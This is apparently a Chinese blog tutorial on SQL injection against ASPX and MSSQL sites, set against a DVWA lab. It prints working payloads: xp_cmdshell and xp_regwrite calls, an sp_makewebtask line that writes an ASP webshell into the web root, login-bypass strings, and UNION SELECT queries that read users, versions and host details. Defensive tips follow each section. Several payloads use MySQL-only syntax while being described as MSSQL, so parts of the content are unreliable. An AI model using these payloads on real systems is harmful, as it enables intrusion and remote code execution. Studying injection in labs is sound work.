MSSQL注如点的基本检查

ASPX+MSSQL注如_SQL

利用MSSQL扩展存储注入公鸡

检查与恢复扩展存储

sa权限下扩展存储公鸡利用方法

xp_cmdshell扩展执行任意命令

xp_regwrite操作注册表与开启沙盒模式

利用sp_makewebtash写入一句话木马

DBowner权限下的扩展公鸡利用

ASPX+MSSQL注如_SQL_02

判断数据库类型(在数据库内创建的每个对象在sysobjects系统表中都占有一行)

and exists (select * from sysobjects)
  • 1.
判断数据库类型
and exists (select * from sysobjects)
  • 1.

在Microsoft SQL Server中,sysobjects是一个系统表,它包含了数据库中的所有对象(如表、视图、存储过程等)的信息。如果这个查询返回真(即存在sysobjects表),那么可以推断当前数据库是SQL Server。

数据库帐号权限判断

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限

and 1=(select IS_SRVROLEMEMBER('public'))//判断是否为public权限

数据库账号权限判断
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员 
and 1=(select IS_SRVROLEMEMBER('db_owner')) //判断是否是库权限 
and 1=(select IS_SRVROLEMEMBER('public'))//判断是否为public权限
  • 1.
  • 2.
  • 3.

这些语句使用了IS_SRVROLEMEMBER函数来检查当前数据库账号是否属于特定的服务器角色。这些角色包括:

  • sysadmin:系统管理员角色,拥有最高权限。
  • db_owner:数据库所有者角色,拥有对特定数据库的最高权限。
  • public:公共角色,每个数据库用户都属于这个角色,它拥有最基本的权限。

如果IS_SRVROLEMEMBER函数的返回值为1,则表示当前账号属于指定的角色;如果返回值为0,则表示不属于。

MSSQL(Microsoft SQL Server)提供了多种扩展存储过程,这些过程可以用来执行各种系统级任务,包括执行操作系统命令、读写注册表等。如果公鸡者获得了足够的权限,他们可以利用这些扩展存储过程来进行注入公鸡。以下是一些常见的MSSQL扩展存储公鸡技术和防御措施:

xp_cmdshell

xp_cmdshell是一个强大的扩展存储过程,它允许用户在SQL Server的上下文中执行操作系统命令。如果公鸡者拥有足够的权限,他们可以使用xp_cmdshell来执行任意命令,包括创建用户、安装软件或下载恶意文件。

公鸡示例
EXEC master..xp_cmdshell 'echo Hello, World!'
  • 1.
防御措施
  • 禁用xp_cmdshell:默认情况下,xp_cmdshell是被禁用的。除非绝对必要,否则不应启用它。
  • 限制权限:确保只有受信任的管理员才能访问和执行xp_cmdshell

xp_regwrite

xp_regwrite扩展存储过程允许用户在注册表中写入新的键值。公鸡者可以利用这个过程来修改注册表设置,甚至开启沙盒模式,从而绕过某些安全限制。

公鸡示例
EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 'Test', 'REG_SZ', 'cmd.exe /c calc.exe'
  • 1.
防御措施
  • 限制权限:确保只有受信任的管理员才能访问和执行xp_regwrite
  • 监控注册表活动:定期检查注册表的变化,以便及时发现异常行为。

sp_makewebtask

sp_makewebtask是一个已弃用的扩展存储过程,它曾经允许用户生成网页。公鸡者可以利用它来写入一句话木马,从而在Web服务器上执行任意代码。

公鸡示例
EXEC sp_makewebtask @outputfile = 'C:\inetpub\wwwroot\evil.asp', @query = 'SELECT ''<%eval request("cmd")%>'''
  • 1.
防御措施
  • 禁用或删除sp_makewebtask:由于该过程已被弃用,应从系统中移除或禁用它。
  • 限制文件系统访问:确保SQL Server账户没有写入Web根目录的权限。

DBowner权限下的扩展公鸡利用

即使公鸡者只拥有DBowner权限,他们仍然可以利用某些技巧来提升权限或执行恶意操作。例如,他们可以使用xp_regread来读取敏感信息,或者尝试利用其他未授权的扩展存储过程。

防御措施
  • 最小化权限:为数据库用户分配完成任务所需的最小权限集合。
  • 审计和监控:实施审计策略,监控数据库活动,特别是对扩展存储过程的使用。

MSSQL注如猜解数据库技术

Having与group by查询爆表名与字段名

order by 与数据库类型转换报错法

查询爆库的另一种方法

union select查询注入技术

窃取哈希口令

MSSQL注如公鸡中,公鸡者经常使用各种技术来猜测和获取数据库中的信息,包括表名、字段名、数据内容以及敏感信息如哈希口令。以下是一些常见的MSSQL注如猜解数据库技术和防御措施:

Having与Group By查询爆表名与字段名

公鸡者可以使用GROUP BYHAVING子句结合SQL注如来猜测表名和字段名。这种方法通常涉及构造一个带有注入点的查询,然后通过不断尝试不同的表名和字段名来观察查询是否成功执行。

示例
SELECT column_name FROM table_name GROUP BY column_name HAVING column_name = 'attacker_guess'
  • 1.

如果attacker_guess是一个有效的表名或字段名,查询将不会抛出错误。

防御措施
  • 使用参数化查询或预编译语句。
  • 对用户输入进行严格的验证和过滤。

Order By与数据库类型转换报错法

公鸡者可以使用ORDER BY子句结合类型转换错误来获取表结构信息。通过尝试对不存在的列进行排序,公鸡者可以诱使数据库抛出错误,从而揭示表结构。

示例
SELECT * FROM table_name ORDER BY attacker_guess
  • 1.

如果attacker_guess不是一个有效的列名,数据库可能会抛出一个错误,指出有效的列名。

防御措施
  • 对用户输入进行严格的验证和过滤。
  • 不要向用户显示详细的错误信息。

查询爆库的另一种方法

公鸡者可以使用INFORMATION_SCHEMA视图来获取数据库的元数据信息。这些视图包含了关于数据库结构的所有信息,包括表名、字段名等。

示例
SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = 'attacker_guess'
  • 1.
防御措施
  • 限制对INFORMATION_SCHEMA视图的访问。
  • 使用最小权限原则,确保用户只能访问他们需要的数据。

Union Select查询注入技术

公鸡者可以使用UNION SELECT语句来合并恶意查询的结果和原始查询的结果,从而获取额外的数据。

示例
SELECT column_name FROM table_name WHERE id = attacker_input UNION SELECT column_name FROM another_table
  • 1.
防御措施
  • 使用参数化查询或预编译语句。
  • 对用户输入进行严格的验证和过滤。

窃取哈希口令

如果应用程序存储了用户的哈希口令,公鸡者可能会尝试通过SQL注如来获取这些哈希值。一旦获得哈希值,公鸡者可能会尝试破捷它们以获取明文口令。

示例
SELECT password_hash FROM users WHERE username = 'attacker_guess'
  • 1.
防御措施
  • 不要在数据库中存储明文口令。
  • 使用强密码哈希算法,如bcrypt,并添加适当的盐。
  • 对用户输入进行严格的验证和过滤。

万能密吗

ASPX+MSSQL注如_SQL_03

a' or 1=1 --

这是一个最经典的万能密吗,引号闭合后,输入一个1=1加or就是永远为真

原理

万能密吗的实现通常依赖于以下几个方面:

  1. SQL注如:这是最常见的实现方式。公鸡者通过构造特殊的SQL语句,使得后台数据库认为用户已经通过了认证。例如,如果登录表单的后端代码没有正确地处理用户输入,公鸡者可以输入类似"' or '1'='1"的字符串,这样数据库就会认为该条件始终为真,从而允许公鸡者登录。
  2. LDAP注入:类似于SQL注如,但发生在使用LDAP( Lightweight Directory Access Protocol)进行身份验证的系统中。公鸡者通过构造特殊的LDAP查询字符串,绕过认证过程。
  3. 其他注入公鸡:包括XML外部实体注入、NoSQL注如等,原理与SQL注如类似,都是通过注入特殊字符或语句来绕过认证。

实例

SQL注如示例

假设一个登录页面的后端代码如下:

import sqlite3 
 
def login(username, password):
    conn = sqlite3.connect('users.db')
    cursor = conn.cursor()
    cursor.execute(f"SELECT * FROM users WHERE username='{username}' AND password='{password}'")
    user = cursor.fetchone()
    conn.close()
    return user is not None 
 
if login('admin', "' or '1'='1"):
    print("Login successful")
else:
    print("Login failed")
  • 1.
  • 2.
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.

在这个例子中,如果用户输入"' or '1'='1"作为密码,后台数据库会执行如下查询:

SELECT * FROM users WHERE username='admin' AND password='' or '1'='1'
  • 1.

加限制limit

ASPX+MSSQL注如_数据库_04

由于"' or '1'='1"这部分始终为真,因此查询结果永远不会为空,导致公鸡者可以以admin身份登录系统。

a' or 1=1 limit 0,1-- 是一串可能用于SQL注如公鸡的字符串。让我们分解这个字符串,看看它在SQL语境中可能意味着什么:

  • a':这看起来像是一个假的或不完整的用户名或任何其他类型的标识符。单引号在这里是为了闭合前面的字符串,因为在SQL中,字符串通常是用单引号括起来的。
  • or 1=1:这是一个恒真条件,因为无论前半部分的条件是什么,1=1总是成立的。在SQL中,OR运算符连接两个条件,只要其中一个条件为真,整个表达式就为真。
  • limit 0,1:这是一个SQL的LIMIT子句,用于限制查询返回的行数。0,1表示从第0行开始(在SQL中,行号通常从0开始计数),返回1行。
  • --:这是SQL中的注释符号,用于忽略掉查询中跟在其后的所有内容。在SQL中,--后面的任何东西都被视为注释,不会被执行。

将这些元素组合在一起,这个字符串可能在某个登录表单的背景下被用作用户名或密码输入,试图通过SQL注如绕过认证。例如,如果一个登录查询是这样的:

SELECT * FROM users WHERE username = '$username' AND password = '$password'
  • 1.

公鸡者可能会将$username$password替换为a' or 1=1 limit 0,1--',这将导致查询变成:

SELECT * FROM users WHERE username = 'a' OR 1=1 LIMIT 0,1 --' AND password = '<anything>'
  • 1.

由于OR 1=1,这个条件永远为真,所以查询会返回至少一行,可能是第一个匹配的用户记录。LIMIT 0,1确保只返回第一条记录,而--注释掉了剩余的查询部分,包括实际的密码检查。

这样的公鸡可以达到的效果是,公鸡者可以绕过正常的用户名和密码验证,登录到系统中,即使他们不知道真正的用户名和密码。

冒号连接

ASPX+MSSQL注如_数据库_05

1' union select 1,concat_ws(char(58),user(),database()) --
  • 1.

ASPX+MSSQL注如_字符串_06

1' union select 1,concat_ws(char(58),user(),database()) -- 是一串可能用于SQL注如公鸡的字符串。让我们分解这个字符串,看看它在SQL语境中可能意味着什么:

  • 1':这看起来像是一个假的或不完整的用户输入,可能是作为某个查询的一部分。单引号在这里是为了闭合前面的字符串,因为在SQL中,字符串通常是用单引号括起来的。
  • union select 1,concat_ws(char(58),user(),database()):这部分是SQL注如的关键。union是一个SQL关键字,用于合并两个或多个SELECT语句的结果集。这里,公鸡者试图将一个恶意的SELECT语句与原始的查询结果合并。concat_ws是一个函数,用于将多个字符串连接成一个字符串,char(58)代表ASCII码为58的字符,即冒号(:)。user()database()是两个函数,分别返回当前数据库用户和当前数据库的名称。
  • --:这是SQL中的注释符号,用于忽略掉查询中跟在其后的所有内容。在SQL中,--后面的任何东西都被视为注释,不会被执行。

将这些元素组合在一起,这个字符串可能在某个查询的背景下被用作用户输入,试图通过SQL注如获取数据库信息。例如,如果一个查询是这样的:

SELECT * FROM table WHERE field = '$input'
  • 1.

公鸡者可能会将$input替换为1' union select 1,concat_ws(char(58),user(),database()) --,这将导致查询变成:

SELECT * FROM table WHERE field = '1' UNION SELECT 1,CONCAT_WS(CHAR(58),USER(),DATABASE()) --'
  • 1.

由于UNION关键字,这个查询现在实际上执行了两个SELECT语句:一个是原始的查询,另一个是公鸡者构造的查询。公鸡者的查询返回当前数据库用户和当前数据库的名称,这些信息被连接成一个字符串并用冒号分隔。最终,这个字符串会被包含在原始查询的结果集中返回给公鸡者。

这样的公鸡可以达到的效果是,公鸡者可以获取有关数据库的重要信息,如当前数据库用户和数据库名称,这些信息可能有助于进一步的公鸡。

ASPX+MSSQL注如_SQL_07

加变量加版本信息

1' union select 1,concat_ws(char(58),user(),database(),version(),@@hostname) --
  • 1.

ASPX+MSSQL注如_数据库_08

结果也可以

ASPX+MSSQL注如_数据库_09

加操作系统

1' union select 1,concat_ws(char(58),user(),database(),version(),@@hostname,@@version_compile_os) --
  • 1.

结果回显也输出了操作系统

ASPX+MSSQL注如_字符串_10

1' union select 1,concat_ws(char(58),user(),database(),version(),@@hostname,@@version_compile_os) -- 是一串用于SQL注如公鸡的字符串,它的目的是获取关于数据库及其所在系统的更多敏感信息。让我们分解这个字符串,看看它在SQL语境中可能意味着什么:

  • 1':这看起来像是一个假的或不完整的用户输入,可能是作为某个查询的一部分。单引号在这里是为了闭合前面的字符串,因为在SQL中,字符串通常是用单引号括起来的。
  • union select 1,concat_ws(char(58),user(),database(),version(),@@hostname,@@version_compile_os):这部分是SQL注如的关键。union是一个SQL关键字,用于合并两个或多个SELECT语句的结果集。这里,公鸡者试图将一个恶意的SELECT语句与原始的查询结果合并。concat_ws是一个函数,用于将多个字符串连接成一个字符串,char(58)代表ASCII码为58的字符,即冒号(:)。user()database()version()是三个函数,分别返回当前数据库用户、当前数据库的名称和数据库的版本信息。@@hostname@@version_compile_os是两个系统变量,分别返回数据库服务器的主机名和操作系统信息。
  • --:这是SQL中的注释符号,用于忽略掉查询中跟在其后的所有内容。在SQL中,--后面的任何东西都被视为注释,不会被执行。

将这些元素组合在一起,这个字符串可能在某个查询的背景下被用作用户输入,试图通过SQL注如获取数据库及其所在系统的详细信息。例如,如果一个查询是这样的:

SELECT * FROM table WHERE field = '$input'
  • 1.

公鸡者可能会将$input替换为1' union select 1,concat_ws(char(58),user(),database(),version(),@@hostname,@@version_compile_os) --,这将导致查询变成:

SELECT * FROM table WHERE field = '1' UNION SELECT 1,CONCAT_WS(CHAR(58),USER(),DATABASE(),VERSION(),@@HOSTNAME,@@VERSION_COMPILE_OS) --'
  • 1.

由于UNION关键字,这个查询现在实际上执行了两个SELECT语句:一个是原始的查询,另一个是公鸡者构造的查询。公鸡者的查询返回当前数据库用户、数据库名称、数据库版本、主机名和操作系统信息,这些信息被连接成一个字符串并用冒号分隔。最终,这个字符串会被包含在原始查询的结果集中返回给公鸡者。

这样的公鸡可以达到的效果是,公鸡者可以获取有关数据库及其所在系统的详细信息,这些信息可能有助于进一步的攻公鸡击,比如识别数据库的类型、版本、运行的操作系统,以及数据库管理员的账户信息。

ASPX+MSSQL注如_SQL_11

1也可以省略

ASPX+MSSQL注如_数据库_12

'union select 1,table_name from information_schema.tables where table_schema='dvwa'#
  • 1.

'union select 1,table_name from information_schema.tables where table_schema='dvwa'# 是一串可能用于SQL注如公鸡的字符串,它的目的是获取特定数据库模式(schema)中的所有表名。让我们分解这个字符串,看看它在SQL语境中可能意味着什么:

  • ':这看起来像是一个假的或不完整的用户输入,可能是作为某个查询的一部分。单引号在这里是为了闭合前面的字符串,因为在SQL中,字符串通常是用单引号括起来的。
  • union select 1,table_name from information_schema.tables where table_schema='dvwa':这部分是SQL注如的关键。union是一个SQL关键字,用于合并两个或多个SELECT语句的结果集。这里,公鸡者试图将一个恶意的SELECT语句与原始的查询结果合并。information_schema是大多数关系型数据库系统中的一个特殊数据库,它包含了关于数据库结构的信息,如表、列、权限等。table_name是从information_schema.tables表中选择的一个列,它包含了数据库中所有表的名称。table_schema是用于过滤表名的条件,这里指定了特定的数据库模式(schema)名称为dvwa
  • #:这是SQL中的注释符号,用于忽略掉查询中跟在其后的所有内容。在SQL中,#后面的任何东西都被视为注释,不会被执行。

将这些元素组合在一起,这个字符串可能在某个查询的背景下被用作用户输入,试图通过SQL注如获取特定数据库模式(dvwa)中的所有表名。例如,如果一个查询是这样的:

SELECT * FROM table WHERE field = '$input'
  • 1.

公鸡者可能会将$input替换为'union select 1,table_name from information_schema.tables where table_schema='dvwa'#,这将导致查询变成:

SELECT * FROM table WHERE field = '' UNION SELECT 1,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='dvwa' #'
  • 1.

由于UNION关键字,这个查询现在实际上执行了两个SELECT语句:一个是原始的查询,另一个是公鸡者构造的查询。公鸡者的查询返回dvwa数据库模式中的所有表名。最终,这些表名会被包含在原始查询的结果集中返回给公鸡者。

这样的公鸡可以达到的效果是,公鸡者可以获取有关dvwa数据库模式中的所有表的信息,这些信息可能有助于进一步的公鸡,比如识别数据库中存储敏感信息的表。

防御措施

为了避免万能密吗的公鸡,可以采取以下措施:

  1. 使用参数化查询:避免直接将用户输入嵌入到SQL语句中,使用参数化查询可以有效防止SQL注如。
  2. 严格验证用户输入:对用户输入进行严格的验证和过滤,确保输入符合预期的格式和范围。
  3. 限制后台账户权限:即使公鸡者能够绕过认证,也应该限制后台账户的权限,以减少潜在的损害。
  4. 定期更新和打补丁:保持系统和软件的最新状态,及时修复已知的安全漏东。
  5. 使用多重认证:采用多因素认证(MFA)可以增加系统的安全性,即使密码被绕过,公鸡者仍无法轻易访问系统。